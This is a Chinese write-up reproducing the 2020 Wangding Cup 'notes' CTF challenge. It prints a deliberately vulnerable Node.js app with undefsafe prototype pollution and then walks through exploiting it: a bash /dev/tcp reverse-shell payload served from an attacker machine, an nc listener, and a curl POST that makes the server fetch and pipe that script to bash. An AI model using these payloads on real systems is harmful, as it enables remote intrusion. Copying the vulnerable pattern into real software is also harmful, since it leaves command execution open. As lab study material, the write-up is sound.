网鼎杯2020青龙组notes复现

环境搭建

源代码已给:

var express = require('express');

var path = require('path');

const undefsafe = require('undefsafe');

const { exec } = require('child_process');

var app = express();

class Notes {

constructor() {

this.owner = "whoknows";

this.num = 0;

this.note_list = {}; // 定义了一个字典,在后面的攻击过程中会用到

}

write_note(author, raw_note) {

this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};

}

get_note(id) {

var r = {}

undefsafe(r, id, undefsafe(this.note_list, id));

return r;

}

edit_note(id, author, raw) {

undefsafe(this.note_list, id + '.author', author);

undefsafe(this.note_list, id + '.raw_note', raw);

}

get_all_notes() {

return this.note_list;

}

remove_note(id) {

delete this.note_list[id];

}

}

var notes = new Notes();

notes.write_note("nobody", "this is nobody's first note");

app.set('views', path.join(__dirname, 'views'));

app.set('view engine', 'pug'); // 设置模板引擎为pug

app.use(express.json());

app.use(express.urlencoded({ extended: false }));

app.use(express.static(path.join(__dirname, 'public')));

app.get('/', function(req, res, next) {

res.render('index', { title: 'Notebook' });

});

app.route('/add_note')

.get(function(req, res) {

res.render('mess', {message: 'please use POST to add a note'});

})

.post(function(req, res) {

let author = req.body.author;

let raw = req.body.raw;

if (author && raw) {

notes.write_note(author, raw);

res.render('mess', {message: "add note sucess"});

} else {

res.render('mess', {message: "did not add note"});

}

})

app.route('/edit_note') // 该路由中 undefsafe 三个参数均可控

.get(function(req, res) {

res.render('mess', {message: "please use POST to edit a note"});

})

.post(function(req, res) {

let id = req.body.id;

let author = req.body.author;

let enote = req.body.raw;

if (id && author && enote) {

notes.edit_note(id, author, enote);

res.render('mess', {message: "edit note sucess"});

} else {

res.render('mess', {message: "edit note failed"});

}

})

app.route('/delete_note')

.get(function(req, res) {

res.render('mess', {message: "please use POST to delete a note"});

})

.post(function(req, res) {

let id = req.body.id;

if (id) {

notes.remove_note(id);

res.render('mess', {message: "delete done"});

} else {

res.render('mess', {message: "delete failed"});

}

})

app.route('/notes')

.get(function(req, res) {

let q = req.query.q;

let a_note;

if (typeof(q) === "undefined") {

a_note = notes.get_all_notes();

} else {

a_note = notes.get_note(q);

}

res.render('note', {list: a_note});

})

app.route('/status') // 漏洞点,只要将字典 commands 给污染了, 就能任意执行我们的命令

.get(function(req, res) {

let commands = {

"script-1": "uptime",

"script-2": "free -m"

};

for (let index in commands) {

exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {

if (err) {

return;

}

console.log(`stdout: ${stdout}`); // 将命令执行结果输出

});

}

res.send('OK');

res.end();

})

app.use(function(req, res, next) {

res.status(404).send('Sorry cant find that!');

});

app.use(function(err, req, res, next) {

console.error(err.stack);

res.status(500).send('Something broke!');

});

const port = 8080;

app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

分析:

原型链污染点定位

undefsafe(r, id, undefsafe(this.note_list, id));

undefsafe(this.note_list, id + '.author', author);

undefsafe(this.note_list, id + '.raw_note', raw);

关键条件:

原型链污染需同时控制 undefsafe 的 第 2 个参数(属性路径) 和 第 3 个参数(属性值)。

get_note 方法仅能控制第 2 个参数(q),无法污染原型链。

edit_note 方法可通过 POST 请求控制 id、author、raw 三个参数,满足污染条件。

污染点确认与构造:

app.route('/edit_note').post(function(req, res) {

notes.edit_note(req.body.id, req.body.author, req.body.raw);

攻击向量:

id 控制路径前缀(如 proto.xxx)。

author/raw 控制属性值(如命令执行代码)。

});

原型链污染构造:

污染 Object.prototype 的恶意属性

id=proto.恶意命令

author=cat /flag # 或反弹 Shell 命令

edit_note 执行时会触发:

undefsafe(this.note_list, "proto.恶意命令.author", "cat /flag");

命令执行点定位:

app.route('/status').get(function(req, res) {

let commands = { "script-1": "uptime", "script-2": "free -m" };

for (let index in commands) { // 遍历原型链属性

exec(commands[index], ...); // 执行任意命令

}

});

漏洞点:

for...in 循环会遍历 commands 的原型链属性。若 Object.prototype 被污染,则恶意命令会被执行。

ubuntu中:

创建项目文件夹

mkdir -p /root/notes_app/views

进入目录

cd /root/notes_app

创建核心文件 app.js(漏洞代码)

vim app.js (放入源代码)

安装所需模块

npm install express undefsafe pug

#创建空文件保证js运行

touch index.pug mess.pug note.pug

启动 Node.js 服务(保持窗口运行)

node app.js

#在另一个窗口执行:

访问 /status 路由,触发被污染的命令执行

curl http://localhost:8080/status

kali中:

创建 shell.txt(替换为 Kali 实际 IP)

cat > shell.txt << 'EOF'

bash -i >& /dev/tcp/192.168.13.137/2333 0>&1

EOF

在 shell.txt 所在目录启动 HTTP 服务(端口 81)

python3 -m http.server 81

保持窗口运行,确保 Ubuntu 能访问 http://192.168.13.137:81/shell.txt

新开一个终端,监听 2333 端口

nc -lvp 2333

输出示例:listening on [any] 2333 ...(保持窗口运行)

新开一个终端,向 Ubuntu 发送污染请求(替换 Ubuntu IP)

curl -X POST -d "id=proto.hack&author=curl http://192.168.13.137:81/shell.txt\|bash\&raw=exp" http://192.168.13.141:8080/edit_note

成功会返回 "edit success" 页面内容

相关推荐
深度学习040718 分钟前
【Linux服务器】-MySQL数据库参数调优
linux·服务器·数据库
老马啸西风3 小时前
windows wsl2-05-docker 安装笔记
运维·windows·笔记·docker·容器·k8s
老马啸西风3 小时前
windows docker-02-docker 最常用的命令汇总
linux·运维·ubuntu·docker·容器·eureka·maven
sztomarch3 小时前
Tshark-Tcpdump
linux·运维·网络·测试工具·tcpdump
手眼通天王水水3 小时前
【Linux】3. Shell语言
linux·运维·服务器·开发语言
chilavert3184 小时前
技术演进中的开发沉思-40 MFC系列:多线程协作
c++·windows·mfc
花小璇学linux4 小时前
imx6ull-系统移植篇9——bootz启动 Linux 内核
linux·uboot·imx6ull·嵌入式软件
程序员JerrySUN4 小时前
Valgrind Memcheck 全解析教程:6个程序说明基础内存错误
android·java·linux·运维·开发语言·学习
大母猴啃编程5 小时前
再谈文件-ext2文件系统
linux·运维·服务器·网络
NEXU55 小时前
Linux:线程控制
linux·运维·服务器